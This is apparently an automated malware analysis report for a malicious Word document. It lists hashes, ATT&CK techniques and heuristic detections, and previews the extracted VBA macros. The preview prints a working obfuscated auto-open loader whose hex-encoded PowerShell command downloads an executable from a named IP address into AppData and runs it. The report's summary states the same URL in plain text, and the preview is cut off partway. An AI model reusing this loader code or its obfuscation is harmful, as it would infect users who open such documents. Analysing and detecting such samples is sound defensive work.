Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71494d56a3875080…

MALICIOUS

Office (OLE)

169.5 KB Created: 2018-07-03 21:53:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 2ba0e8cc2583f7b9976737d2ca2efce8 SHA-1: ba6b7e99f6dc86b1e243945f7ebf47cdfd481a6e SHA-256: 71494d56a3875080ef631225ce98d27845d82ea3104e7e72099e06d2b7bb1eb8
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The Document_Open macro utilizes CreateObject to execute a PowerShell command that downloads and executes a second-stage payload from 'http://172.81.132.143/x/bawsy/olu.exe', saving it as '%appdata%\SoJEprsfM3.exe'. This behavior is indicative of a downloader or initial access stage.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6748978-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6748978-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21924 bytes
SHA-256: 5fb0b88b13a4e9fc338baf1772305826b155bd88f3c332cbe901f93ca92a9ae1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const P31CxNwsgAunr As String = "0x"
Const P32CxNwsgAunr As String = "&h"
Public Function P33CxNwsgAunr(ByVal CxNwsgAunr As String, Optional ByVal WqxeDGe8nj As String = P31CxNwsgAunr) As Variant
 P33CxNwsgAunr = CVErr(xlErrValue)
 For i = 0 To 19: IIf 4 = 5, a = 5, False: Next i
 If Left$(CxNwsgAunr, Len(WqxeDGe8nj)) = WqxeDGe8nj Then
  Dim jKzPuuUASM As String
  jKzPuuUASM = Right$(CxNwsgAunr, Len(CxNwsgAunr) - Len(WqxeDGe8nj))
  If Len(jKzPuuUASM) Mod 2 = 0 Then
   Dim sakRZZmLCL As Integer
 For i = 0 To 19: IIf 4 = 5, a = 5, False: Next i
   sakRZZmLCL = Len(jKzPuuUASM) / 2
   Dim n4PI0WPRiQ As String
   Dim ee8sv877c7 As Integer
   For ee8sv877c7 = 1 To sakRZZmLCL
     n4PI0WPRiQ = n4PI0WPRiQ & Chr(Val(P32CxNwsgAunr & Mid$(jKzPuuUASM, (ee8sv877c7 * 2) - 1, 2)))
   Next ee8sv877c7
   P33CxNwsgAunr = n4PI0WPRiQ
  End If
 End If
P33CxNwsgAunr = Replace(P33CxNwsgAunr, "cmd  /c ", "")
End Function
Private Sub s9OL46gOoM()
 On Error GoTo pEGM2q31YI
CreateObject(P33CxNwsgAunr("0x575363726970742E5368656C6C")).Run P33CxNwsgAunr("0x636D6420202F6320506F7765725368656C6C202D6E6F70202D77203120696E766F6B652D77656272657175657374202D75726920687474703A2F2F3137322E38312E3133322E3134332F782F62617773792F6F6C752E657865202D6F7574662024656E763A417070446174612F536F4A45707273664D332E6578653B73746172742D70726F636573732024656E763A417070446174612F536F4A45707273664D332E6578653B72692024656E763A417070446174612F536F4A45707273664D332E6578653B"), 0
cleanExit:
 Exit Sub
pEGM2q31YI:
 If Err = 3004 Then
  Resume Next
 Else
  Resume cleanExit
 End If
End Sub
Private Sub Document_Open()
 s9OL46gOoM
End Sub



Private Sub uVhJeni0eX()
 a8Q172xqM7 = "iq64W8OS1R"
 T7mfeEMYbg = "NeqpU9W6LP"
 PZ2wviYnVf = "DA9w4dWLWE"
 mJpGlf9RjX = "kRhl3eeZU6"
 IAd5Iwf3vR = "kljhAqLxlp"
 ghd730tYD0 = "X600YZGu7Y"
 agxCLaJ9UM = "yROFYIwfcQ"
 crAFSqvttL = "OrzwpbUOw2"
 ptd0xrrvbr = "yArrVTP2Sv"
 IqPj2mstqW = "OUTjyTnKhC"
 X9rchu9iLG = "s22ancN37k"
 Y8fpESQi2b = "AgUrxP8NbJ"
 lkRTB41S5w = "ftO7D93cJz"
 G0pJ9qiOMI = "d91z6YqvXJ"
 R8nH5mEWXx = "N6eM6x4iUl"
 NqfysgCnaO = "OIo9JNNRNW"
 NvYqVh5pDK = "ThLOWL3YpZ"
 MrVjNoRfes = "LnF7zBBZMk"
 jmTBUO7On7 = "MYDXcFJOOH"
 vZll1QMNnv = "hdmeOIHvyb"
 nf2gH3TQ54 = "SWnfUvbJJe"
 Yuz1XQMyjE = "XnqKqu7eN7"
 W5SsDx0guu = "B7Vuc6PasZ"
 nwHB6OGMYB = "t75OhdLhzB"
 QHeZ7aB6It = "H6VXQLyrvX"
 Ror26Kckm9 = "sJO09TrRE6"
 lKfFWAlh4H = "IuVLLOpl3y"
 XrTI7fv4Y7 = "qQXzKrjWgG"
 u5qPvbWaqx = "zgYg86ZHHR"
 eqs7n7Gwat = "xDfx9cbem6"
 puOBDm2RBN = "xOpyAiMsCx"
End Sub



Private Sub AA974bbBg6()
 VUvLAUO1Eb = "eY5x10oQ60"
 vSMZB1vQGB = "jBLFSQrN8P"
 BVYBsQEOge = "OvEqGmiGkI"
 v4vcZNoBOk = "DKRruN3lIT"
 tSLCNZ7v8G = "DVEApOAVLN"
 yd76FoMm52 = "p67AlRu3z9"
 J2DjOXfrcS = "liL3ruUO6A"
 lUAfnOXepI = "oGxL6KKYvQ"
 gvkmNkwej0 = "WP69W5Dx69"
 abcECRV97Q = "O6upr1KoCc"
 nT4yLOKyYa = "fm1vQgtPT6"
 uxgCg9wRR4 = "sp53TqgN20"
 gyl6KIe8Il = "D3EFN2MDsL"
 n1P3P1q8LB = "YPX3Ybmk1I"
 UxjGwBVAq1 = "HNvrLqRrrS"
 ogyhl3gLQM = "KCLTP2SjIo"
 f0STXwuGsI = "q43jrY9cvD"
 rkTNklcOOS = "CITcOBxNuZ"
 DLtitWJCD0 = "TPYe35hfJO"
 qR3JaVk0HZ = "xvSG3T1Luy"
 GLjUY1TOjP = "qsfRG0QTiI"
 FR4MzJ7skk = "dHUl9SJjTj"
 bFQ1Gjpbac = "biCWW4QGvq"
 TBE9OXH3RW = "pI99Ggachq"
 p6shh6e7zf = "bcYEpLaRqR"
 GwtnUFjDrP = "TNzf76iw1O"
 OJFMUpSFT4 = "etWzN7NfxM"
 OLQSlyNTGt = "xOZL8d0QDG"
 NNTwLK09Ca = "qd9p1i2VBw"
 E99BDBEmAK = "f6O00k1uiL"
 CNsG9yOKS0 = "iepg4WNt3k"
End Sub



Private Sub MDt8smt2dR()
 ODQmk1gldj = "plNFwrzMrL"
 OkMEOl2SUm = "dGAdmfomkW"
 JdGOIJYXOb = "OPLC3M0mH8"
 YyA1fVVLtr = "cnDE4UOa6g"
 tegTzy57jJ = "mcOlXsMOGV"
 OnFu8KnhIi = "XZpBO4rQCR"
 RYBTdaIrQO = "haFktjKVUZ"
 jXAaLzWoJ3 = "a5mY58VUr8"
 b5B5a7vehD = "rF5MGcyBiN"
 ltSWLnYPpu = "tYFWXpxFaN"
 dRhgJG9Js2 = "EvONTRnNuW"
 hPYWfGajZr = "I3
... (truncated)

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